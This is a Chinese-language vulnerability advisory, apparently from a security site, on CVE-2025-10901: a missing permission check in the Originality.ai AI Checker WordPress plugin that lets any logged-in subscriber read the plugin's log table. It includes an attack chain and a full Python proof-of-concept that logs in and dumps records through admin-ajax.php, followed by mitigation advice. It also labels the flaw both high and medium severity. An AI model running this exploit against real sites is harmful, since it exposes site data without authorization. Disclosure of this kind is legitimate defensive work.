IPBUF安全漏洞报告
English
CVE-2025-10901 CVSS 4.3 中危

CVE-2025-10901 WordPress Originality.ai插件未授权数据访问漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-10901
漏洞类型
访问控制缺陷
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Originality.ai AI Checker plugin for WordPress

相关标签

CVE-2025-10901WordPress插件漏洞访问控制缺陷未授权数据访问Originality.ai权限绕过MEDIUMCVSS 4.3

漏洞概述

CVE-2025-10901是WordPress平台Originality.ai AI Checker插件中的一个高危安全漏洞。该漏洞存在于插件的ai_get_table函数中,由于缺少适当的权限检查(Capability Check),导致任何已认证用户(即使是最低权限的订阅者角色)都能未经授权地访问和读取wp_originalityai_log数据库表中的敏感数据。这些数据包括但不限于:网站文章的标题、AI扫描评分、使用的积分额度、扫描时间戳以及其他用户活动日志信息。攻击者利用此漏洞可以批量获取网站上所有文章的敏感信息,可能导致内容泄露、商业机密外泄以及用户隐私数据暴露等严重后果。由于该漏洞影响所有1.0.16及以下版本,且攻击复杂度低(CVSS评分4.3),建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Originality.ai AI Checker插件的OriginalityAILogger.php文件中的ai_get_table函数(第202行起)缺少WordPress的权限验证机制。正常情况下,WordPress插件应该使用current_user_can()或类似的权限检查函数来验证当前用户是否有权执行特定操作。然而,该函数直接处理用户请求而未进行任何权限验证,使得任何登录用户都能通过构造特定的AJAX请求来调用该函数。攻击者只需要发送一个包含action参数为ai_get_table的POST请求,服务器便会返回wp_originalityai_log表中的完整数据。攻击者可以利用WordPress的wp-admin/admin-ajax.php端点发起攻击,无需特殊工具或高级技术。漏洞利用的关键在于理解WordPress的AJAX处理机制和插件的数据查询逻辑,成功利用后可获取数据库中存储的所有扫描日志数据。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的合法用户账户(订阅者级别或更高权限)
STEP 2
步骤2
攻击者使用凭据登录WordPress,获取有效的会话Cookie
STEP 3
步骤3
攻击者构造恶意AJAX请求,指定action参数为ai_get_table,发送到wp-admin/admin-ajax.php端点
STEP 4
步骤4
服务器端ai_get_table函数接收请求,由于缺少权限检查,直接查询wp_originalityai_log表并返回所有数据
STEP 5
步骤5
攻击者获取包含文章标题、扫描评分、积分使用情况等敏感信息的完整数据库记录

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10901 PoC - Unauthorized data access in Originality.ai plugin # Target: WordPress site with Originality.ai AI Checker plugin <= 1.0.16 def exploit_cve_2025_10901(target_url, username, password): """ Exploit for CVE-2025-10901 Missing capability check in ai_get_table function allows authenticated users to read all data from wp_originalityai_log database table. """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit the vulnerability via admin-ajax.php exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'ai_get_table', 'draw': '1', 'start': '0', 'length': '100', 'search[value]': '', 'search[regex]': 'false' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: try: data = response.json() if 'data' in data and len(data['data']) > 0: print(f"[+] Exploit successful! Found {len(data['data'])} records") print("\n[+] Sample data:") for record in data['data'][:5]: print(f" - Post ID: {record.get('post_id')}, Score: {record.get('score')}") return True else: print("[-] No data found or unexpected response format") except: print("[-] Failed to parse response") print("[-] Exploit failed") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_10901(target, user, pwd)

影响范围

Originality.ai AI Checker plugin <= 1.0.16

防御指南

临时缓解措施
如果无法立即升级插件,可以暂时禁用Originality.ai AI Checker插件,或通过Web应用防火墙(WAF)规则限制对admin-ajax.php端点的访问,添加基于用户角色的访问控制策略。同时监控wp_originalityai_log表的访问日志,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表